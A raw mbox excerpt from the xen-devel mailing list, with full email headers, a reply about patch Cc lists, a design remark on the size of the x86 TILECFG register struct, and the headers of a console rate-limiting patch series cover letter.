Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785309166-192CC9EA-41B6E884/0/0
X-purgate-type: clean
X-purgate-size: 398

On 29.07.2026 08:47, Bertrand Marquis wrote:
> Please use the add_maintainers.pl script before sending to make sure the right maintainers
> are in copy of your patches otherwise some might miss your patches.

The Cc list on this cover letter is pretty short, yes, but the individual patches
look to have appropriate Cc lists, and I guess that's what matters for not missing
anything?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:20:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:20:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375200.1622417 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyaW-0005JL-SV; Wed, 29 Jul 2026 07:20:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375200.1622417; Wed, 29 Jul 2026 07:20:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyaW-0005JE-Pk; Wed, 29 Jul 2026 07:20:24 +0000
Received: by outflank-mailman (input) for mailman id 1375200;
 Wed, 29 Jul 2026 07:20:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woyaU-0005J8-Rt
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:20:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyaU-001gQ2-8Y
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:20:22 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69a9ae-e002-0a2a0a5209dd-0a2a4509aef4-22
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:20:19 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69a9b3-be1a-0a2a45090019-d1558036ac76-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:20:19 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-495590dde14so6083915e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 00:20:19 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4443396sm146007625e9.0.2026.07.29.00.20.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 00:20:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785309619; x=1785914419; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=ffPJoyALqJv+4DOTSChxWutci4D3bIEXcRNWkvcNHU4=;
        b=VcWTFNjO+0DLI7s4esBUGU0vNDEUFmXLD3pn5pzEX/GOqF23KYFuVBoPLTa3GIAP6G
         jJbHRPEJW5HiUnuuaYK9R8iW7q6IxW5QW++0CEt/c8nklx4uUOz+a2oFP55FVWwiy5XW
         /dRJABAUZAacL65LzPYH3mI/NDDuzBuERXGOf6wo7K+H/J7HYLNrnMQwXFv0pDGOJkFH
         voFv+plQTDqY8iOnmxJYAHdEC0Xn5kT3Z5eL7ZIVKoKiVhaNbmsP1qjr8ryNkit7hqcL
         EdB5CSGKdC4JR0cZk0b4gS4cRcccQCJ+BkltpGonsMmSYz0aMctL/q4XBm1hFek0DgfW
         PuJw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785309619; x=1785914419;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=ffPJoyALqJv+4DOTSChxWutci4D3bIEXcRNWkvcNHU4=;
        b=sAPn5jISg6EMFQxjo2iAdrJpEMZwojRVJbych9pAGXrPe7awolhBk6aOMZCg0ljtBI
         VD0ZXyK5GA88XWq0BylBj919Bpv+K4xnN2B873nPVqp7GVtWDkTljh5iU4K4iMCtVnhH
         2DAhFv6li+yjEZrQRk5mG8ZH0IrkJhNs0cqdpG7OyS+rAlvqXFvXP0HF2pBXxEx3e9+B
         1VH3YI9NNjTxxAmw1tzUTp3qVhly7h87StXazwl2A7nRJkZFEjEE3UJ+vrBjag7PJeJC
         eth/Dh6RzcFbVACDW6VEVD0VYs+z5PVdw7uVc15FnYMGVgWQS+cqLESGx+2aipjIOz/c
         4qgw==
X-Gm-Message-State: AOJu0Yx1/6BWgAKkCYVJPRw91tg0McnI5NIrZuNtBSCXpvE51yXRJIj8
	GPq0QNtkzKxXzS3tYZ01Pph7wQfmI0lHhkzoMP1DCqAROQQwcjwODrZDepIS3OURsz32GPwx2Mh
	qXSQuZA==
X-Gm-Gg: AR+sD11N+xbCghRmXCuvXDcr5vZpewikvQYFfmYVax6Z/lMEJY+LtIUYY//lDXH3jxJ
	8L/FZTF3tSPxkep2ixrUIkpekMB2jzLlmxMp85Gz3GiBzVIyYZzw4KukD/KHILX+uelPC6rBnzv
	9FbB78F5oM72nzSEpkb3Akn6tgJC/6hTueTHzQaXR6Q9FMlDYU6z4Jnjt404mXVQKaKa5GAcSbd
	g1UpaTsixdDZ2I+a9huASCaW+qy3/AS4wgcrdqw/lWlNyZvvxNjZCGwaplMSznnVS4W89mH9OIO
	0gA1IFJT3ezpV4zo+5WNLdUAvllW6Z6oshG1VyUT7dmEUmi8JUpQ69oCaO+0bvXHblU3PEszRvP
	sEHqcLgn67FhUv4fX7kHm//1kwF65VdX/K7qAPi1cxMSg4MEQxdpQI/g4pTfm9I4K6ZC3Hkh3Qk
	/+MOb7MCtRnnzAT51Kg2szQbaHQGw5WmpER/qj92XrNHvwGthZO7gMVdCRK9K8j2vyrweYVb2JH
	kVMApgA+beH/oFT2d49DTun11YumqHs+EBXb6DFZBzWA689WlON
X-Received: by 2002:a05:600c:4eca:b0:495:7379:17b1 with SMTP id 5b1f17b1804b1-496c6585036mr60262965e9.30.1785309618627;
        Wed, 29 Jul 2026 00:20:18 -0700 (PDT)
Message-ID: <8b3abd15-9bed-430d-86f3-2682a210ae7a@suse.com>
Date: Wed, 29 Jul 2026 09:20:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 16/22] x86: introduce struct for TILECFG register
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>
References: <322de6db-e01f-0b57-5777-5d94a13c441a@suse.com>
 <022f5561-8c90-e5c5-9a9c-1878ef17518c@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
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CfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <022f5561-8c90-e5c5-9a9c-1878ef17518c@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1785309619-BC8C9034-8B203292/0/0
X-purgate-type: clean
X-purgate-size: 780

On 22.04.2021 16:53, Jan Beulich wrote:
> Introduce a new x86-types.h to hold various architectural type
> definitions, the TILECFG register layout being the first. Arrange for
> the insn emulator to include this header.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> v3: New.

For the eventual v4 (likely still far out) I've added this remark, which
we will want make up our minds on:

"As per https://sourceware.org/pipermail/binutils/2026-July/150499.html
 TILECFG can be wider than 64 bytes. Simply extending the struct to 128
 bytes is one option to cover the specific case there, but the suggestion
 really is to avoid use of a compile-time determined size. Dynamically
 allocated storage, otoh, comes with extra overhead / complexity."

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:25:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:25:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375211.1622433 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfZ-0006S5-Qt; Wed, 29 Jul 2026 07:25:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375211.1622433; Wed, 29 Jul 2026 07:25:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfZ-0006Ry-LK; Wed, 29 Jul 2026 07:25:37 +0000
Received: by outflank-mailman (input) for mailman id 1375211;
 Wed, 29 Jul 2026 07:25:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1woyfX-0006P4-NM
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:25:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyfW-001hkJ-Ob
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:25:34 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aadc-bab6-0a2a0a5309dd-0a2a4506b784-44
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:34 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aaed-195a-0a2a45060019-94a38ff1431e-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:34 +0200
Received: from pps.filterd (m0482515.ppops.net [127.0.0.1])
 by m0482515.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66T73jv8462649
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 00:25:33 -0700
Received: from dm1pr04cu001.outbound.protection.outlook.com
 (mail-centralusazon11010025.outbound.protection.outlook.com [52.101.61.25])
 by m0482515.ppops.net (PPS) with ESMTPS id 4fq9f29aqb-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 00:25:32 -0700 (PDT)
Received: from MW4PR04CA0296.namprd04.prod.outlook.com (2603:10b6:303:89::31)
 by MW5PR16MB5023.namprd16.prod.outlook.com (2603:10b6:303:1c4::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Wed, 29 Jul
 2026 07:25:27 +0000
Received: from SJ5PEPF000001CC.namprd05.prod.outlook.com
 (2603:10b6:303:89:cafe::64) by MW4PR04CA0296.outlook.office365.com
 (2603:10b6:303:89::31) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 07:25:27 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 SJ5PEPF000001CC.mail.protection.outlook.com (10.167.242.41) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 07:25:26 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T4bvtj1788472
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:25 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbs745jh-12
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:25 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id oyfKwmWOMqFVloyfLwVWQw; Wed, 29 Jul 2026 07:25:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=t2W5sIMaxk/pBbaI9lLz8Efhk
	skOt8vZrsY/0uL7SB8=; b=H0f9Xjm6FbDECeV7g4qkj5VZfCFo2o2i9erC9l8If
	LgluF2DWsWX0pEYfyhm8B3oa1+XjXhM3WUGeNPuxwkE2sRDh1AwPrkBQMuOThTwm
	xhNDMccOYtO8g++/1O9FeLuBojSNmzkg8RenFuzeGGGly8Sz1lEHYkGp/j5qw+jm
	L2Q01HtyLANxLqG7Y/0qUXCBwJVIR/NoGRXwTX/9rZCVXqcs6nQf8QLVk/nYmdNz
	r+l9wIFkOK/Q/LfJvMpDL6LAu62MhpLu4bPyNhcu10JVEZcPZSjvqzJ23QpPxCU1
	S3nHM9FHPLh5t8qbKJRYTPmkJki3rO+PboHNQNnz/Hurg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=jFGhqWrwnao5qMRUPCqSZRWNVuazIR4P7c2G6ZuU5qm7zX00w2tvVNmd9QHtYaiJvRI5Uanv3ZASBlHw8Qc7VroHzQp87XBF3g3Kwv0BOkiWd15yXHrFlwCjR5NvBFuri/eXVzdcqjB78TeouUlzrEVxORt1U3Ewfl2WmcyPHiQtx3cewDUxz7G9gsVNpM8jyVS0N3BjeYpAgo//9FDL+egs2NQnUH9SuVtPhxlGG3pFvtE7p53sSD8ciRvHeCffRd7igI2d9qcSbg9/TPGWvR0dHO6TY7KQQtsKwx19ZILyFG+5uLKfZjV/1rPA4wFBRDvvQtpzU/PCyxqRuScRbw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=t2W5sIMaxk/pBbaI9lLz8EfhkskOt8vZrsY/0uL7SB8=;
 b=bxJFP7xZUD/e+McP6O9YFSFi5hQPMBUgt1ErpQhEDX6ZfvVgwOuQtAcpIHf7RLpbKTNX1rkiDukivOVDlbYJKjsvdDmAicj8gUEAJOW7epjziUMPPCAF3WOWJEx1OYm/hFRdEcCbyEFai2brwIVcwlTvbMkAiIulvCoNwww6owNWJkhGpKLWHug9zl9LJi50OhRK2g1zUHn2vC8O5QMlKRF4kxKPaiZSIHZkZ67C0fOYzIHQK90b3XFXDiwpm34Aqqwc24IEmAPnC8OT3UY0k3AA0h93QkzHVvDTepICsFVOYW+ikM/TtYshLham5/Dn/GTq6tpROwy/oM1xqRh6nA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=t2W5sIMaxk/pBbaI9lLz8EfhkskOt8vZrsY/0uL7SB8=;
 b=jd9gVeSxmYfPwzEyNx83ysE1BoZwuwBdaU1tHeREpjNXtlYHVnkd+sxidCg6GQYzBDLL+c7HT13GeoFUPxdKTssTjBX9AkJygp9aUzD8evKiXaFsDrminRL+XZsGgvDUnxIt5by8m168/JeAwIFPskDkyYEg0iB5RDyaACo/3p0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=t2W5sIM
	axk/pBbaI9lLz8EfhkskOt8vZrsY/0uL7SB8=; b=i6+4t4sKcit/cyzXlMaTw4J
	2k+2DAGw7Byp42qqXFJ7iT9iKLRiRFCrRTVp+QbnFclCEJin3yh9J22hzt979sbf
	Acb1rn733XyRby4yR7SX/Xq9T8GbupF1jJLVoDzKuv/Iw16eTUzXIpWWOK0s3jzC
	qfkCAQCyJOZ1SdAgUWPw2406c2lHLYStdxCkAgL4WxkY5tfWuDKS4JLn5y7ZMvWM
	7MsgGh4Jr/m0fAG13zUpbVENLgfb/zKz/fXc00AjzsTXXKRkFpOSYl2Oq26+/jF/
	+S2ubI98hgxVr3Rseje7XLvfMB3RskqBmti9YeYf1Oqp138eLesSuvj2PUYUIsQ=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=t2W5sIMaxk/pBbaI9lLz8EfhkskOt8v
	ZrsY/0uL7SB8=; b=G7MaovZ/xkAA+8K6oamoYqIsDuT09P5hIBbqXD3RMD8wO1m
	fOfrZWK5nkxllR5lYyGmHvHkN8E6EYzlL9T0vJiGTLNXQXbydZ9Fm0UYjDOi6tJu
	j2OOwp1mXevTidBDUsCX4jDfme/busl//Ylx1GkXiWPmoP1m2Nn3ghDkHiaMhDMh
	doSAFgBuniTtrUyVogFFOd0Q6Klp/zxE77S9Rnr8yV3CAI8au3+JX1bOH1zjAUR1
	sCIzzUwRj4pGdtoPYLqldkiGa0s/6kW8OTTMivpQkmKJrQR1QpeYiJC+SzjcV4GL
	jrqvP5VWweerKv3Gf2ut+dK6m1C56axMeqg5RwA==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: oyfKwmWOMqFVloyfLwVWQw
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v4 0/2] xen/console: updates to rate-limiting
Date: Wed, 29 Jul 2026 00:25:18 -0700
Message-ID: <20260729072520.1556970-1-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 suspectscore=0 lowpriorityscore=0 adultscore=0 phishscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607290058
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF000001CC:EE_|MW5PR16MB5023:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: b1166b83-80d6-43eb-f029-08deed428f79
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|82310400026|376014|1800799024|23010399003|13003099007|6133799003|11063799006|10067099003|56012099006|3023799007|18002099003;
X-Microsoft-Antispam-Message-Info:
	bAt0g1cdwxDCTjZdNGy/hRg301bVM4by2FrTsqpvxKCQeYfMdq9itGARMRXS9OJlYHwkLy87aUUNO/Afd2WSoASwzcBC6qi8I3PsqQgAeKmWQMjnd1mFnzR02lTZTg2H/4FZH/BWE1/k13p8BSFvCtW7SYkvSuwekDj2qZZ3JySdteoUVgf6VAyg/TxVeev6jNkgysF2dMMwL/5OtUy90kXt2ye+0xjna9a6Cwz0+GfxH6U68IaFdr5p8N6ukvRWxIBy1h3a7biDD666KdgpUrJB1hffW9MHDhgvEEMp4zQaKi6UweQo9rPFCVngqg0jPZQkRMnnqwBd2uId01ov1ltJ3dUglQ38RMOT00oxhsfUJUETuMThQuPDL65VeHHbB5zW0EJdGf0ATvqpPF2eFNzJ21Y3w/EVQH6VE6mWmBQEJJbRxb9V1bBQaXU0I4tTUyyjuG3If79GI8PhzYpjIp4KbpbiTnGyRM+cOiwQhEHWZ2HXJkYH9jtwcZCZN6h17jlG10WjDGoo7NWuoUZdt99NzjnNLWLVTB4xcsDKphSTsH2R2+75s2PW/59k63rNTvjbZZdRipL4Mf29y/8pFGCoaZYTocoeTcG0YDyQt3ELpS/jPlxrHJjXZJ7r+SBDwpUT0Hd5jdb8t7eKJITiif8e1s0tH6scfwsVqzjFJ/5n3m5xkt6c0f1zLvgUDA0dhuxie6gDU7oOii0rUSUQ1w==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(82310400026)(376014)(1800799024)(23010399003)(13003099007)(6133799003)(11063799006)(10067099003)(56012099006)(3023799007)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	/yr7bwhiO27m0jAhAqUh9ryqJ0oTQxFQgrAg5olpC3uB9jeOajTSmX9RmB7ZJbNbgOQE/n5XysmlfVvzUj1cBGBpNZILlOSRF/Johifs141MAv6fYODb+PYzHAu7JR2OBW/DqhzCu/ath9NScqcyP0XLF4lts3xXW7o3YjFrwovlBaRCbel0hwPjd95tPbwxJP8k1Cx+B1cPBg0+eotY7/WCKiIMwP17aj/oeZLNYHpQNZunTzMwWxzNjbVeXvHsiCMWXm5f9D4PN+SOXdFbHSLQ71nQyWd8jZAt0arUDcS/Om2jeNbLkZP0J7uS2b+BrxwmwuT5kkcIlz6bl/mAK+SOiJW7rvZwXRvRxJYNwIEMY6JM6kYspdV1JBC6N0q3piUpCtVRDLSrQqU38v/q5ShyLf0aoFbJdOLG37S24mej0p9fdxFj4C0qGcIygzhS
X-Exchange-RoutingPolicyChecked:
	jifWr4MqqwCFuIam0uVN402bFV5IHNYvgpBIVfhDSoTQyMByMMpPsCXdpLZPWrCEkaiN8LvZDjRA9zLr7Gv/OaCQr73lYNfcQpfrMPxw5DrLtvcp/1/MMuXBbyNzGfl3sE46krT6FMVJBGUwJxPX2K4bjvO41lVFCvKUcptDT+MRvAy/AEfjDKVEYz+w4ITrK5bGzH9PqFPy4sg0ECP15iO2/cXzmDI4xxMk+RufRNpj7VZtNBUieJxTBvkmVBCkUa2HibLaryv34VVWMMXkUuc090cqO8yKa5BjXU8q7umWw5udsK93419HQIx8/+4VlKe8rinxjM0sbepTXFQinw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	OkaS6lbD1mc4dWMd6WvlIRmCZNXl8ZbuHCnYcJwRAe9O2HWrckB2poZc5s+z32VgCK94l7whAtCZB8bfSKeKD24U2PBqhn+Z43JnVBXEGA3nMvh9jtxnzmn8/L0HI/UeP3g2auTueMaJmVXPt7xP73QYGlBNrlw9eYeHEFkvPEWeDGp6xZEfBwj4iR4Cqhrcg81O8yauUYTuk/kCYtyD0DmhrSx7M4G7kJKRT9jkxULgR9WNTaPTKv36+r4sMAiwgXM37W1v5FHwl0JCisZyPxzES6wZe8yXt+PD8T5etAs3NFPdgazPXghc+9o/N7q1ZTYqN9IUZPQT9F/5GIRlTlDEBvRkwkMRHS2VPUWCKOZBAo3h95LxBxph3wsWNIBNXHYtIxGyWl7NPYgFlt+M89X3UUUpvgxVFGmXqC/TOrGdAX0JcLtlT1xwq1U0ohkeO/YN0+WDbixVMsO3k7xYmJFYg/fxyKqoGPOB9jcZCRVeqSzAoEZv5hZZ3GQBYcBuN0GYYFftlRJavqdNDc1GuE/FC3zyrL3SF17ZVVUbQdQs8OPdib5rJOCWE8/d2GDYtkj8MflOWHAm9QzjlZXnwdrIGskQge0si0NW4iTQ1jSfq74zHy5cPibJwezoCtMgGtGsf3xtaBd2RTNrgEN3sQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 07:25:26.1300
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b1166b83-80d6-43eb-f029-08deed428f79
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
